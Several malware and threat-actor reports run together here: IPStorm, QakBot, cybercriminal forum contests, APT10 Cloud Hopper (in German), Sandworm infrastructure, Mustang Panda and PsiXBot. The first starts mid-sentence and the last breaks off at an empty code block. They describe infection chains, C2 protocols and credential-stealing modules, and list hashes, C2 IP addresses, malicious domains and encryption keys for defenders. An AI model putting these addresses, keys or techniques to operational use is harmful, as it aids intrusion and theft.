p2p model, infected machines communicate directly with each other via a p2p network, commonly called a p2p botnet. The threat actor sends a single command to one infected machine, which propagates to all others. Implementing a p2p model is generally more difficult due to challenges like bootstrapping and Network Address Translation (NAT) traversal. P2p botnets do not have the opportunity to hide their traffic among legitimate traffic, but legitimate services are increasingly utilizing p2p technology, making it harder to detect malicious traffic. In May 2019, a new botnet was discovered that utilizes the IPFS p2p network. IPFS aims to improve the internet by making it more decentralized and is designed to be a distributed p2p filesystem. The network code for IPFS is released as an open-source project called “libp2p,” which provides functionalities like bootstrapping, NAT-traversal, relays, and peer discovery. The malware discovered in May 2019 by Anomali Threat Research uses libp2p to layer its p2p network on top of IPFS’s. The malware has been named IPStorm (InterPlanetary Storm) due to its use of IPFS’s p2p network. ## Technical Breakdown IPStorm is a malware written in Go (Golang) targeting the Windows operating system. The analyzed binaries suggest it was developed on a macOS machine. The malware is large, with the unpacked binary being around 15 MB in size, and is split into multiple Go packages: - storm/avbypass - storm/backshell - storm/ddb - storm/filetransfer - storm/logging - storm/node - storm/powershell - storm/util - storm/ddbinterface - storm/nodeinterface The malware employs simple antivirus evasion techniques, including sleeps, memory allocations, and random number generation. It uses a third-party package called “single” to ensure only one instance is running, creating a lock file in the %TMP% folder. To connect to the p2p network, it adds a rule to the firewall and uses libp2p’s support for distributed hash tables (DHT). The malware supports downloading and uploading files via the PubSub network and has a reverse shell functionality, allowing the threat actor to execute arbitrary PowerShell code on the infected machine. The malware installs itself under a specific location, with the executable name randomly selected from a predefined list. For persistence, it adds an entry to “HKCU:SoftwareMicrosoftWindowsCurrentVersionRun.” ## Analysis The malware has a simple set of core functionalities but utilizes a complex network stack. The use of IPFS’s network stack allows the botnet to hide within a legitimate p2p network, making it unclear which peers are infected bots or legitimate IPFS peers. The botnet size is likely in the lower thousands, as 2847 unique p2p nodes announced themselves during a ten-hour collection. ## Conclusion The network architecture for botnets can be described as either a server-client model or a p2p model. The p2p model is harder to implement but more resilient against takedowns. The discovery of malware using IPFS’s p2p network for C2 communication marks a significant evolution in p2p botnets. This method allows the malware to hide its network traffic among legitimate p2p network traffic, providing some protection against takedowns. ## IOCs - 2545175418021b0bcdce1fa055dc292500fa9895857c6df86461f9d74a342d15 - 41ec6577b3a362cf9e5b136ca3971204147bc6c171b65bab3546f631a5c2efe0 - 49c3fa3a2b7b5894559a28456ad611fa4692f72c1ec86eee925df81735278d53 - 5918446d82bd8d6c40c6cdf5ab70a012f27939e9154e26f79a7c9870811cad8c - 5d980fa37aef47022941f6afffe718ed0eed4de746edd7f494a407f84e75fd50 - 7f731d2502dd39cbc16193ca7e9d147fe158c10236e00c634bb0680e2bfc4bfa - 8531921258132a4eb9b4b4545e85c72c2815d53c22f72f92822c199a15562a7c - 8b24e640338654fbda233f50766136a9cf33f1a5444fd98162edbc2bdaf324c2 - c0cfc62c5c349523884d502088234026c3eb67c802d7d02018e7aa9337930e0b - c19b34621a7a57d831113e0b854bbc1fa7217d578ca9bd477d805f56a73a0100 - cc124869cbc871ec99d3470f2287df816a5f75a05eaf79df65a8ecf9a8283eb9 - f987928992a9c43c65429d2abe93b4683a027b520d79246248fca49c31f234d7 - fe8dc4955f2e04bbf800e913d29848c2b99999554a802226e72ce68b6d8c71f7 - 01658e8cc706056aca50304b29bfcab92a60cd38771f2b3069ba94f525661122 - 039ae75eff58a5b1125c6d3248dfce338573a9040709b3a9e8cf910a1b4ada75 - 2accb615e375b99bb92c67655ad9558c44782148d8264ef94e5a0a7d4dc1c5da - 2e751a9874267b100b10196ebbef58cfcf46644651b099c8a9cd1dd7cee64e8f - 3276bcd9b95a28234c1ea5205d8c2358f5040e694331a16cef09d273b6238178 - 365480a61e39b67234692ba8b75b95749434aba28c952ac32f70ed777d25810a - 36d652460b71f6e9aca16ba331197fc384f323f70ea879ec8ea40a7a5f554a7e - 4549a271e2c4b157c8abe099d2e84c8f3d7c18782956267429e0be6e17eaed41 - 500f004eb51f282c14939ba52a5d85ac71f85e1f0ede00803a6ae3a2f01c272d - 66d3799fc8132376d87f326f0131c41afecef560b0368bc54cc27b816025d9e6 - 948042a3071a4a6e1063f2e09717fd70f23e2c37cbdf024ccded76477b94778e - a2d36f477e2a87acab32a1988f77b00ce9f24d61a4a21e63a8c67747ff2633fd - af32455f41865094da020cad2675775bddd907020ed12d4ed68de5051ed62643 - de0b86fe66be7ef3f30f28d514c8bbced2973e78d9473671f16f4365e05e5a99 - e093152a3e44279259839e1c35eeaeb5ea0803611747b8b38acaffd65a83f83a - f5ac2e7a6cfe6ce576a9c0df3721f90c5be93b5e4694716470ec7ea3c7492f59 ## Mitre ATT&CK ### References 1. Jean-Ian Boutin, “Turla’s watering hole campaign: An updated Firefox extension abusing Instagram,” ESET, accessed May 28, 2019. 2. James Wyke, “The ZeroAccess Botnet – Mining and Fraud for Massive Financial Gain,” Sophos, accessed May 28, 2019. 3. Windows IT Pro Center, "Delivery Optimization for Windows 10 updates," Microsoft, accessed May 29, 2019. 4. “A modular network stack,” Protocol Labs, accessed May 31, 2019. 5. “Distributed Web Gateway,” Cloudflare, accessed publication May 31, 2019.
# QakBot Technical Analysis **Authors** Anton Kuzmenko Oleg Kupreev Haim Zigel ## Main Description QakBot, also known as QBot, QuackBot, and Pinkslipbot, is a banking Trojan that has existed for over a decade. It was found in the wild in 2007 and has been continually maintained and developed. In recent years, QakBot has become one of the leading banking Trojans globally. Its main purpose is to steal banking credentials (e.g., logins, passwords, etc.), though it has also acquired functionality allowing it to spy on financial operations, spread itself, and install ransomware to maximize revenue from compromised organizations. To this day, QakBot continues to grow in terms of functionality, with even more capabilities and new techniques such as logging keystrokes, backdoor functionality, and techniques to evade detection. This includes virtual environment detection, regular self-updates, and cryptor/packer changes. Additionally, QakBot tries to protect itself from being analyzed and debugged by experts and automated tools. Another interesting piece of functionality is the ability to steal emails, which are later used by attackers to send targeted emails to victims, luring them into opening those emails. ## QakBot Infection Chain QakBot is known to infect its victims mainly via spam campaigns. In some cases, the emails were delivered with Microsoft Office documents (Word, Excel) or password-protected archives with the documents attached. The documents contained macros, and victims were prompted to open the attachments with claims that they contained important information (e.g., an invoice). In some cases, the emails contained links to web pages distributing malicious documents. There is another infection vector involving a malicious QakBot payload being transferred to the victim’s machine via other malware on the compromised machine. The initial infection vectors may vary depending on what the threat actors believe has the best chance of success for the targeted organization(s). Various threat actors perform reconnaissance (OSINT) of target organizations beforehand to decide which infection vector is most suitable. The infection chain of recent QakBot releases (2020-2021 variants) is as follows: 1. The user receives a phishing email with a ZIP attachment containing an Office document with embedded macros, the document itself, or a link to download a malicious document. 2. The user opens the malicious attachment/link and is tricked into clicking “Enable content.” 3. A malicious macro is executed. Some variants perform a ‘GET’ request to a URL requesting a ‘PNG’; however, the file is in fact a binary. 4. The loaded payload (stager) includes another binary containing encrypted resource modules. One of the encrypted resources has the DLL binary (loader), which is decrypted later during runtime. 5. The ‘Stager’ loads the ‘Loader’ into memory, which decrypts and runs the payload during runtime. The configuration settings are retrieved from another resource. 6. The payload communicates with the C2 server. 7. Additional threats such as ProLock ransomware can now be pushed to the infected machine. ## Typical QakBot Functions Typical QakBot malicious activity observed in the wild includes: - Collecting information about the compromised host. - Creating scheduled tasks (privilege escalation and persistency). - Credentials harvesting: - Credential dumping (Mimikatz, exe access). - Password stealing (from browser data and cookies). - Targeting web banking links (web injects). - Password brute forcing. - Registry manipulation (persistence). - Creating a copy of itself. - Process injection to conceal the malicious process. ## Communication with C2 The QakBot malware contains a list of 150 IP addresses hardcoded into the loader binary resource. Most of these addresses belong to other infected systems that are used as a proxy to forward traffic to other proxies or the real C2. Communication with the C2 is a HTTPS POST request with Base64-encoded data. The data is encrypted with the RC4 algorithm. The static string “jHxastDcds)oMc=jvh7wdUhxcsdt2” and a random 16-byte sequence are used for encryption. The data itself is in JSON format. Usually, after infection, the bot sends a ‘PING’ message, ‘SYSTEM INFO’ message, and ‘ASK for COMMAND’ message, and the C2 replies with ‘ACK’ and ‘COMMAND’ messages. If additional modules were pushed by the C2, the bot sends a ‘STOLEN INFO’ message containing data stolen by the modules. - **‘PING’ message** – bot request message to C2 with ‘BOT ID’ to check if C2 is active. - **‘ACK’ message** – C2 response message with field “16” containing the external IP address of the infected system. - **‘SYSTEM INFO’ message** – bot request message to C2 with information collected about the infected system, including general system information and results of various utilities and WMI queries. - **‘ASK for COMMAND’ message** – bot command request message to C2. After the ‘SYSTEM INFO’ message is sent, the bot starts asking the C2 for a command to execute. - **‘COMMAND’ message** – C2 response message with command to execute. The current version of the bot supports 24 commands, most related to download, execution, drop of additional modules, and module configuration files. - **‘STOLEN INFO’ message** – bot message to C2 with stolen information like passwords, accounts, emails, etc. Stolen information is RC4 encrypted and Base64 encoded. Once communication with the C2 server has been established, QakBot is known to download and use additional modules to perform its malicious operations. The additional modules differ from sample to sample and may include: ‘Cookie grabber’, ‘Email Collector’, ‘Credentials grabber’, and ‘Proxy module’ among others. ## Additional Modules - **Cookie Grabber** – collects cookies from popular browsers (Edge, Firefox, Chrome, Internet Explorer). - **Hidden VNC** – allows threat actors to connect to the infected machine and interact with it without the real user knowing. - **Email Collector** – tries to find Microsoft Outlook on the infected machine, iterates over the software folders, and collects emails. - **Hooking module** – hooks a hardcoded set of WinAPI and (if they exist) Mozilla DLL. Hooking is used to perform web injects, sniff traffic, and keyboard data. - **Passgrabber module** – collects logins and passwords from various sources: Firefox and Chrome files, Microsoft Vault storage, etc. - **Proxy module** – tries to determine which ports are available to listen to using UPnP port forwarding and tier 2 C2 query. ## QakBot Statistics In the first seven months of 2021, Kaspersky products detected 181,869 attempts to download or run QakBot. This number is lower than the detection number from January to July 2020, though the number of users affected grew by 65% compared to the previous year and reached 17,316. ## Conclusions QakBot is a known Trojan-Banker whose techniques may vary from binary to binary (older and newer versions). It has been active for over a decade and continues to receive updates, with threat actors adding new capabilities and updating its modules to steal information and maximize revenue. The malware uses different techniques to avoid detection, and Kaspersky products are able to detect the threat using behavior analysis. The verdicts usually assigned to this malware include: - Backdoor.Win32.QBot - Backdoor.Win64.QBot - Trojan.JS.QBot - Trojan.MSOffice.QBot - Trojan.MSOffice.QbotLoader - Trojan.Win32.QBot - Trojan-Banker.Win32.QBot - Trojan-Banker.Win32.QakBot - Trojan-Banker.Win64.QBot - Trojan-Downloader.JS.QBot - Trojan-PSW.Win32.QBot - Trojan-Proxy.Win32.QBot ## Indicators of Compromise (C2 Server Addresses) - 75.67.192[.]125:443 - 24.179.77[.]236:443 - 70.163.161[.]79:443 - 72.240.200[.]181:2222 - 184.185.103[.]157:443 - 78.63.226[.]32:443 - 83.196.56[.]65:2222 - 95.77.223[.]148:443 - 76.168.147[.]166:993 - 105.198.236[.]99:443 - 73.151.236[.]31:443 - 64.121.114[.]87:443 - 213.122.113[.]120:443 - 97.69.160[.]4:2222 - 77.27.207[.]217:995 - 105.198.236[.]101:443 - 75.188.35[.]168:443 - 31.4.242[.]233:995 - 144.139.47[.]206:443 - 173.21.10[.]71:2222 - 125.62.192[.]220:443 - 83.110.109[.]155:2222 - 76.25.142[.]196:443 - 195.12.154[.]8:443 - 186.144.33[.]73:443 - 67.165.206[.]193:993 - 96.21.251[.]127:2222 - 149.28.98[.]196:2222 - 222.153.122[.]173:995 - 71.199.192[.]62:443 - 45.77.117[.]108:2222 - 45.46.53[.]140:2222 - 70.168.130[.]172:995 - 45.32.211[.]207:995 - 71.74.12[.]34:443 - 82.12.157[.]95:995 - 149.28.98[.]196:995 - 50.29.166[.]232:995 - 209.210.187[.]52:995 - 149.28.99[.]97:443 - 109.12.111[.]14:443 - 209.210.187[.]52:443 - 207.246.77[.]75:8443 - 68.186.192[.]69:443 - 67.6.12[.]4:443 - 149.28.99[.]97:2222 - 188.27.179[.]172:443 - 189.222.59[.]177:443 - 149.28.101[.]90:443 - 98.192.185[.]86:443 - 174.104.22[.]30:443 - 149.28.99[.]97:995 - 189.210.115[.]207:443 - 142.117.191[.]18:2222 - 149.28.101[.]90:8443 - 68.204.7[.]158:443 - 189.146.183[.]105:443 - 92.59.35[.]196:2222 - 75.137.47[.]174:443 - 213.60.147[.]140:443 - 45.63.107[.]192:995 - 24.229.150[.]54:995 - 196.221.207[.]137:995 - 45.63.107[.]192:443 - 86.220.60[.]247:2222 - 108.46.145[.]30:443 - 45.32.211[.]207:8443 - 193.248.221[.]184:2222 - 187.250.238[.]164:995 - 197.45.110[.]165:995 - 151.205.102[.]42:443 - 2.7.116[.]188:2222 - 45.32.211[.]207:2222 - 71.41.184[.]10:3389 - 195.43.173[.]70:443 - 96.253.46[.]210:443 - 24.55.112[.]61:443 - 106.250.150[.]98:443 - 172.78.59[.]180:443 - 24.139.72[.]117:443 - 45.67.231[.]247:443 - 90.65.234[.]26:2222 - 72.252.201[.]69:443 - 83.110.103[.]152:443 - 47.22.148[.]6:443 - 175.143.92[.]16:443 - 83.110.9[.]71:2222 - 149.28.101[.]90:995 - 100.2.20[.]137:443 - 78.97.207[.]104:443 - 207.246.77[.]75:2222 - 46.149.81[.]250:443 - 59.90.246[.]200:443 - 144.202.38[.]185:995 - 207.246.116[.]237:8443 - 80.227.5[.]69:443 - 45.77.115[.]208:995 - 207.246.116[.]237:995 - 125.63.101[.]62:443 - 149.28.101[.]90:2222 - 207.246.116[.]237:443 - 86.236.77[.]68:2222 - 45.32.211[.]207:443 - 207.246.116[.]237:2222 - 109.106.69[.]138:2222 - 149.28.98[.]196:443 - 45.63.107[.]192:2222 - 84.72.35[.]226:443 - 45.77.117[.]108:443 - 71.163.222[.]223:443 - 217.133.54[.]140:32100 - 144.202.38[.]185:2222 - 98.252.118[.]134:443 - 197.161.154[.]132:443 - 45.77.115[.]208:8443 - 96.37.113[.]36:993 - 89.137.211[.]239:995
# Competitions on Russian-language Cybercriminal Forums: Sharing Expertise or Threat Actor Showboating? January 30, 2020 You might be feeling the pinch at this time of year… The financial demands of Christmas have taken their toll and that expensive new gym membership is burning a hole in your wallet. Winning a competition with a healthy prize fund could be just the cash injection you need to get your finances back on track. Things are no different in the cybercriminal underground. The Russian-language cybercriminal forum XSS recently announced its third forum-wide competition, offering members the chance to win a share of $15,000 in return for writing an article on a set list of topics. In fact, competitions have been a feature of the Russian-language cybercriminal scene practically since the advent of cybercriminal forums. ## The History of Cybercriminal Forum Competition: Humble Beginnings Tracing the history of the forum competition back to the early days of one prominent Russian-language cybercriminal forum, Exploit, reveals that the format, value, and scope of forum competitions have changed considerably since Exploit’s launch in 2005. Early competitions seem almost innocent in nature compared with the serious events that forums organize nowadays. These first competitions often aimed to foster a sense of community on the forum. In February 2007, for example, Exploit members were invited to participate in a quiz featuring questions about the history of the forum. Today’s competitions usually require demonstrable skill and technical knowledge, with participants often required to submit original articles containing videos or source code. In contrast, back in January 2008, Exploit ran a competition in which the user with the longest tenure on the forum to post in a specific thread would win $25. These early competitions also prized creativity. In December 2010, Exploit users were invited to design a graphic that best represented the Russian-language segment of the Internet (the “Runet”) to win an iPad, while a competition in November 2008 sought the best original desktop wallpaper. These early competitions are notable for their lack of specific aim and for their small scale. Early competitions appear to have been intended to inject a sense of fun and togetherness into Exploit at a time when the site was trying to build a community and attract new members. ## The Evolution of Forum Competitions: First Signs of Change The first mention of a forum competition as we now know it appeared on Exploit in October 2013. One user lamented the slipping standard of coding on the forum and suggested a competition to raise the collective skill level on the site. The user proposed that each competition participant should contribute $10 to a shared pot, with the eventual winner taking the entire pool. However, other forum members were far from enthusiastic about the idea, with some users pointing out that attempts to organize such contests on other cybercriminal forums had failed. One major difference between the early competitions and those of today—and something that seems to have been a contributing factor in the eventual success of the competition model—is the involvement of the forum administration team. In December 2015, the Exploit administrator organized a competition to find who could write the best article on “Using SI and NLP tools to install software on a user’s computer.” The victor would win $1,000, with $200 consolation prizes for second and third place. Fast-forward to 2019 and the competition prize fund stood at $10,000, with rules stipulating a word count and content requirements. ## Forum Competitions Seen Across the Board The competition development arc is similar on other Russian-language cybercriminal platforms, such as XSS. Since its relaunch as XSS, the former Damagelabs has organized three articles competitions, all with four- or five-figure prize funds. However, the phenomenon is not universal across the scene. The carding forum Verified last held an articles competition back in February 2010. Interestingly, what connects these forums without a strong tradition of competitions is their common lack of a strong sense of community. Users on successful forums such as Exploit and XSS strongly identify as members of those sites and see the value in participating not only for their own benefit but also for the good of the forum. After all, helping the development of the forum is one of the major drivers behind organizing competitions: Cybercriminal forums need to attract and retain members in order to survive, and being able to present a site as a valuable repository of articles discussing pertinent cybercriminal issues is a real draw. ## Cybercriminal Forum Competitions: Latest Developments The latest development in forum competition organization may actually be a return to form. In December 2019, the XSS administrator announced a third annual forum articles competition. Accepted topics for original articles included: - Searching for 0day and 1day vulnerabilities. Developing exploits for them - APT attacks. Hacking LAN, elevating rights, hijacking domain controller, attack development - Interesting combinations, algorithms. Writing your own crypto algorithms and hacking other people’s - Innovative functionality, reviews, analysis of interesting algorithms that are used, development prospects - Forensics. Digital forensics. Software, tricks, methods The competition winner would win $5,000, with prizes decreasing by $1,000 each time for second through fifth place, totaling an overall prize fund of $15,000. In theory, by sponsoring a competition in which forum users pen articles on topics related to ransomware, the Sodinokibi team can increase awareness of ransomware on the forum and perhaps gain valuable intelligence they could use in their future malware development. If competition entries do increase for this event, it may be that in the coming months more cybercriminals will come to realize the advantageous cost-benefit calculation associated with organizing a forum competition and that similar competitions will become more frequent. It appears that, after a slow start, the forum competition in some form or another is here to stay.
# Cyber-Brief Nr. 02/2017 ## Hinweis auf aktuelle Angriffskampagne **Kontakt:** Bundesamt für Verfassungsschutz Referat 4D2/4D3 Tel.: 0221/792-2600 **„Operation Cloud Hopper“: Cyber-Angriffskampagne gegen Managed Service Provider** Dem Bundesamt für Verfassungsschutz (BfV) liegen Erkenntnisse über aktuelle Cyberangriffe auf IT-Dienstleister und Wirtschaftsunternehmen vor. Die Angriffe sind den Advanced Persistent Threats (APT) zuzuordnen und stellen eine hohe Bedrohung für betroffene Unternehmen und deren Kunden dar. Das BfV als nationale Spionageabwehrbehörde möchte deutsche Unternehmen auf die aktuelle Bedrohungslage aufmerksam machen. ### Sachverhalt Die mutmaßlich chinesische Angreifer-Gruppierung ist unter anderem unter den Namen APT 10, Menupass Team und Stone Panda bekannt. Auch wenn sie seit mindestens 2009 aktiv ist, richteten sich die in der Vergangenheit beobachteten Cyberangriffe vor allem gegen US-amerikanische und japanische Ziele. Seit Ende 2016 scheint sich der Interessenfokus auf Wirtschaftsunternehmen in Europa erweitert zu haben. APT 10 hat neben dem Hochtechnologie-Bereich Aufklärungsinteresse an folgenden Branchen: - Energie - Transport/Automobil - Rohstoffe/Mineralien - Chemie - Gesundheit - Telekommunikation - Luft- und Raumfahrt Ausgangspunkt der Cyberangriffe sind in der Regel Spear-Phishing Mails, die thematisch auf die jeweiligen Empfänger zugeschnitten sind und maliziöse (Word-) Dokumente enthalten. Als Schadsoftware kommt im Anschluss häufig PlugX (auch unter dem Namen DestroyRAT bekannt) zum Einsatz. Daneben nutzt APT 10 seit Ende 2016 scheinbar exklusiv eine Schadsoftware mit dem Namen ChChes. Laut einem kürzlich veröffentlichten Bericht von BAE Systems und PwC richten sich die Cyberangriffe der Gruppe derzeit gezielt gegen IT Service Provider – vor allem Cloud-Dienstleister – um von dort in die oft besser geschützten Systeme von deren Kunden zu gelangen. Das Vorgehen wird als „Operation Cloud Hopper“ bezeichnet. Betroffen waren bisher vor allem Organisationen in den USA, Japan, Großbritannien und Indien. Derzeit gibt es Hinweise, dass auch deutsche Unternehmen angegriffen worden sind. ### Handlungsempfehlung Um festzustellen, ob Ihr Unternehmen von dieser Angriffskampagne betroffen ist, empfehlen wir folgende Schritte: - Suchen Sie in den E-Maileingängen, ob verdächtige E-Mails eingegangen sind. - Durchsicht der Netzwerk-Logs nach den in der Anlage aufgeführten netzwerkbasierten IoC. Sollten Sie entsprechende Anhaltspunkte feststellen, besteht die Gefahr der Infizierung Ihrer Rechner. In diesem Fall können wir Ihre Maßnahmen mit zusätzlichen Hintergrundinformationen unterstützen und weitere Hinweise geben. Hierzu stehen wir Ihnen unter folgenden Kontaktdaten gerne zur Verfügung: Tel.: 0221-792-2600 oder E-Mail: [email protected] Referat 4D3 Wir sichern Ihnen absolute Vertraulichkeit zu! Als vorbeugende Maßnahmen zum Schutz vor Infektionen empfehlen wir konkret folgende Punkte zu beachten und diese auch den Beschäftigten Ihres Unternehmens in geeigneter Weise zur Kenntnis zu geben: - Klicken Sie keine in E-Mails enthaltenen Links an, wenn Sie nicht sicher sind, wer Urheber der E-Mail ist. - Überprüfen Sie insbesondere, ob Links wirklich auf die Seite verweisen, die Sie hinter dem Link erwarten, oder ob das tatsächliche Ziel durch irreführende Subdomains verschleiert wird. - Seien Sie grundsätzlich vorsichtig, was das Öffnen von E-Mailanhängen und das Ausführen von Makros in Office-Dokumenten angeht. ### Anlage **Netzwerkbasierte Indicators of Compromise (IoC)** - www.mobile.2waky.com - mobile.2waky.com - windowsupdate.2waky.com - peopleinfodata.3-a.net - bla.windowsupdate.3-a.net - ipv4.windowsupdate.3-a.net - windowsupdate.3-a.net - contract.4mydomain.com - eu.acmetoy.com - www.twgovernmentinfo.acmetoy.com - www.windowsupdate.acmetoy.com - windowsupdate.acmetoy.com - koala.acsocietyy.com - acsocietyy.com - products.almostmy.com - ap-southeast-1.compute.amazonaws.com - ec2-52-74-203-151.ap-southeast-1.compute.amazonaws.com - www.visualstudio.authorizeddns.net - visualstudio.authorizeddns.net - ctldl.windowsupdate.authorizeddns.org - ctldl.windowsupdate.authorizeddns.us - download.windowsupdate.authorizeddns.org - ipv4.windowsupdate.authorizeddns.org - v4.windowsupdate.authorizeddns.org - www.windowsupdate.authorizeddns.net - www.windowsupdate.authorizeddns.org - windowsupdate.authorizeddns.net - windowsupdate.authorizeddns.org - shrimp.bdoncloud.com - zebra.bdoncloud.com - trout.belowto.com (Weitere IoCs folgen in ähnlicher Form.)
# ThreatConnect Research Roundup: Probable Sandworm Infrastructure June 12, 2020 Edition Howdy, and welcome to the ThreatConnect Research Roundup, a collection of recent findings by our Research Team and items from open source publications that have resulted in observations of related indicators across ThreatConnect’s CAL™ (Collective Analytics Layer). In this edition, we cover: ## Roundup Highlight: Probable Sandworm Infrastructure Our highlight in this Roundup is Incident 20200529A: Network of Probable Sandworm Infrastructure. Sandworm, also known as Sandworm Team, Quedagh, and VOODOO BEAR, is a Russian threat actor group that has historically targeted energy, industrial, government, and media organizations in Ukraine. ThreatConnect Research, in conjunction with industry colleagues, identified a network of probable Sandworm infrastructure dating back to at least 2018. NSA released a report on Sandworm activity on May 29, 2020, that identified the domain hostapp.be (IPs: 95.216.13[.]196, 103.94.157[.]5). This domain was registered on December 24, 2018, through Njalla. In reviewing historical registrations, we were only able to identify seven other domains that were registered on that date through Njalla. While we were unable to directly associate any of these domains to hostapp.be due to its lack of a creation timestamp, three of the other domains — fbapp[.]top, fbapp[.]info, fbapp[.]link — appeared notable and possibly related. We reviewed the hosting history, subdomains, and co-locations for these additional domains and to-date have identified a network of 30 domains, 17 IPs, and hundreds of subdomains that we assess probably are related with largely historic Sandworm activity. Further indicative of the probable association to Sandworm, some of the identified domains, such as hostapp[.]art and hostapp[.]link, share strings with the domain identified in NSA’s report. In reviewing subdomains for the identified domains, many subdomain strings were reused across the domains. Many Twitter, Google, and Facebook-related subdomains were identified. The following notable subdomain strings were also identified and possibly are indicative of operational targets, themes, or affected countries: - passport.abv.bg.* - passport.above.bg.* - mail.bg.* - accounts.ukr.net.* - mail.adm.khv.ru.* It’s important to note that while the identified infrastructure is largely historic, at least two domains — userarea[.]click (46.4.10[.]58) and userarea[.]eu (185.226.67[.]190) — and/or their subdomains were actively resolving in May 2020. At this time, we do not have any additional insight into how or against whom this infrastructure has been operationalized. ### Update 5/31/20 ThreatConnect Research identified another set of domains and IPs that are a part of this network of probable Sandworm infrastructure. The following domains were registered through Njalla at essentially the same time as userarea[.]click and userarea[.]eu and are currently hosted on dedicated servers: - userarea[.]top (194.117.236[.]33) - userarea[.]in (5.255.90[.]243) Three other domains were registered through Njalla about two and a half hours later: - myaccount[.]click (185.76.68[.]70) - myaccount[.]one (92.62.139[.]114) - webcache[.]one (195.211.197[.]25) Notably, four of these IP addresses were identified by GreyNoise as exploiting the Exim vulnerability CVE-2019-10149. ### Update 6/3/20 Two other domains — userzone[.]one and userzone[.]eu — are associated with this network of infrastructure. These domains were registered through Njalla on November 13, 2019, the same day as those in the previous update. These domains and/or their subdomains have been hosted on a dedicated server at 141.101.196[.]50. ## ThreatConnect Research Team Intelligence Items recently created or updated in the ThreatConnect Common Community by our Research Team: - **20200604B:** Additional Entertainment Industry Spoofed Infrastructure. ThreatConnect Research identified additional domains and subdomains that spoof organizations in or related to the entertainment industry. - **20200529B:** Suspected Kimsuky Implant. ThreatConnect Research identified suspected Kimsuky malware. ## Technical Blogs and Reports Incidents with Active and Observed Indicators: Incidents associated with one or more Indicators with an Active status and at least one global Observation across the ThreatConnect community. These analytics are provided by ThreatConnect’s CAL™ (Collective Analytics Layer). - In-depth analysis of the new Team9 malware family - Analysis of an attempted attack against Intel 471 - 2019 tax season phishing scams - Emotet C2 and RSA Key Update – 06/08/2020 - Avaddon - Threat Roundup for May 29 to June 5 - Emotet C2 and RSA Key Update – 06/04/2020 To receive ThreatConnect notifications about any of the above, remember to check the “Follow Item” box on that item’s Details page.
# Mustang Panda | Threat Actor Profile The June 2018 adversary spotlight is on MUSTANG PANDA, a China-based adversary that has demonstrated an ability to rapidly assimilate new tools and tactics into its operations, as evidenced by its use of exploit code for CVE-2017-0199 within days of its public disclosure. In April 2017, CrowdStrike® Falcon Intelligence™ observed a previously unattributed actor group with a Chinese nexus targeting a U.S.-based think tank. Further analysis revealed a wider campaign with unique tactics, techniques, and procedures (TTPs). This adversary targets non-governmental organizations (NGOs) in general, but uses Mongolian language decoys and themes, suggesting this actor has a specific focus on gathering intelligence on Mongolia. These campaigns involve the use of shared malware like Poison Ivy or PlugX. Recently, Falcon Intelligence observed new activity from MUSTANG PANDA, using a unique infection chain to target likely Mongolia-based victims. This newly observed activity uses a series of redirections and fileless, malicious implementations of legitimate tools to gain access to the targeted systems. Additionally, MUSTANG PANDA actors reused previously-observed legitimate domains to host files. ## Mustang Panda’s Methods Mustang Panda’s unique infection chain often takes the following steps: 1. The infection chain used in this attack begins with a weaponized link to a Google Drive folder, obfuscated using the goo.gl link shortening service. 2. When contacted, the Google Drive link retrieves a zip file, which contains a .lnk file obfuscated as a .pdf file using the double extension trick. 3. This file requires the target to attempt to open the .lnk file, which redirects the user to a Windows Scripting Component (.wsc) file, hosted on an adversary-controlled microblogging page. MUSTANG PANDA has previously used the observed microblogging site to host malicious PowerShell scripts and Microsoft Office documents in targeted attacks on Mongolia-focused NGOs. 4. The .lnk file uses an embedded VBScript component to retrieve a decoy PDF file and a PowerShell script from the adversary-controlled web page. 5. The PowerShell script creates a Cobalt Strike stager payload. This PowerShell script also retrieves an XOR-encoded Cobalt Strike beacon payload from an adversary-controlled domain. 6. The Cobalt Strike Beacon implant beacons to the command-and-control (C2) IP address, which is used to remotely control the implant. There are no known community or industry names associated with this actor. ## Other Known China-based Adversaries - Anchor Panda - Deep Panda - Goblin Panda - Samurai Panda Curious about other nation-state adversaries? Visit our threat actor hub to learn about the new adversaries that the CrowdStrike team discovers.
# PsiXBot Continues to Evolve with Updated DNS Infrastructure **Overview** Earlier this year, FoxIT published research regarding the evolution of a .NET based malware known as “PsiXBot.” We have continued to observe the malware in both malicious email and exploit kit campaigns. Since the publication of this initial research, Proofpoint researchers have observed another evolution of PsiXbot (v1.0.2) which exhibits some key differences, including a new and unique method of dynamically fetching its own DNS infrastructure by utilizing a URL shortening service to gather the server IP addresses required to resolve the .bit domains used for command and control (C&C). **Analysis** Proofpoint researchers have observed a new version of PsiXBot in the wild. It has been historically delivered in both malicious spam campaigns and as a payload for the Spleevo and RIG-v exploit-kits with indiscriminate geographical targeting. Analysts noted that in this version, the malware continued to check the infected machine’s installed language to determine if it is in Russia (RU) or not. If it is found to be RU, the PsiXbot will exit. Historically, PsiXbot has made use of .bit domain addresses which are associated with the NameCoin cryptocurrency. The .bit domain is not resolved in the same way as more common TLDs, such as “.com” or “.net.” Rather, it requires a special DNS server to provide resolution from domain to IP address. In previous versions of PsiXbot, an OpenNIC DNS server was hardcoded in the binary. Now, the authors are utilizing a URL created with the URL shortening service “tiny[.]cc” to gather the current DNS server for each C&C domain. This shortened URL is a simple hex stream, which, upon decoding, provides a C&C server domain. This is also hardcoded in the executable. After this initial HTTP request to tiny[.]cc, the connection is upgraded to HTTPS. Once the connection is upgraded to HTTPS, it performs this same request, only this time an “HTTP 303 See Other” response is given. With this request, the returned “Location” header contains another hex-encoded domain, similar to what we observed in the URL shortener request. This is a bit different: when the hex-encoded domain provided in the Location header is decoded, it is not a domain but rather an IP address. So far, we have observed two specific attackers provided IP addresses returned as hex-encoded domains. Upon learning of the intended DNS server to be used for C&C redirection, the malware will ping the IP address gathered from the hex-encoded domain in the Location header. This code for gathering the C&C and IP address can be observed in the code snippet below. If the malware receives a response back, indicating the DNS server is up, it will then send a DNS query for the C&C domain using the gathered DNS server. From the network level, the process is as follows: 1. Unintended GET request to the hex-encoded IP Address of the DNS server to be used (185.228.234.204) 2. Ping to the DNS server IP Address to obtain connectivity status (185.228.234.204) 3. DNS query to the .bit domain (hardcoded in the sample) which returns the C&C IP Address (185.159.129.37) 4. Ping to the C&C IP Address for connectivity status (185.159.129.37) 5. HTTPS traffic to the C&C domain (185.159.129.37) An example of the HTTPS-based command and control traffic appears below. The data in the POST body is encrypted with RC4. In this case, the hardcoded RC4 key was “63a6a2eea47f74b9d25d50879214997a,” which is the same key used in previous versions of PsiXBot. Using this key, we can decrypt the C&C traffic to show particular checks in an infected system’s information: ``` 